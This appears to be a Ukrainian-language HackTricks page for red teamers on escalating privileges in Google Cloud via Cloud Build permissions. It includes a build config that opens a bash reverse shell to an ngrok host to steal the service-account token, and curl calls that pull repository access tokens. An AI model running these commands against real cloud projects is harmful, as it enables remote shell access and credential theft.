GCP - Cloudbuild Privesc
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
cloudbuild
Для отримання додаткової інформації про Cloud Build перегляньте:
cloudbuild.builds.create
, iam.serviceAccounts.actAs
З цією дозволом ви можете надіслати cloud build. Машина cloudbuild за замовчуванням матиме у своїй файловій системі токен облікового запису служби cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com
. Однак ви можете вказати будь-який обліковий запис служби всередині проекту в конфігурації cloudbuild.
Отже, ви можете просто змусити машину ексфільтрувати токен на ваш сервер або отримати зворотний шелл всередині неї і отримати токен (файл, що містить токен, може змінюватися).
Пряме експлуатація через gcloud CLI
1- Створіть cloudbuild.yaml
і змініть його, використовуючи дані вашого слухача.
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
2- Завантажте просту збірку без виходу, yaml файл і вкажіть SA, який потрібно використовувати для збірки:
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
Використання бібліотеки python gcloud
Ви можете знайти оригінальний скрипт експлойту тут на GitHub (але місце, звідки він отримує токен, не спрацювало для мене). Тому перевірте скрипт для автоматизації створення, експлуатації та очищення вразливого середовища тут та python-скрипт для отримання зворотного шеллу всередині машини cloudbuild і викрадення його тут (в коді ви можете знайти, як вказати інші облікові записи служби).
Для більш детального пояснення відвідайте https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
З цією дозволом користувач може отримати токен доступу для читання, який використовується для доступу до репозиторію:
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
cloudbuild.repositories.accessReadWriteToken
З цією дозволом користувач може отримати токен доступу для читання та запису, який використовується для доступу до репозиторію:
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
cloudbuild.connections.fetchLinkableRepositories
З цією дозволом ви можете отримати репозиторії, до яких має доступ з'єднання:
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.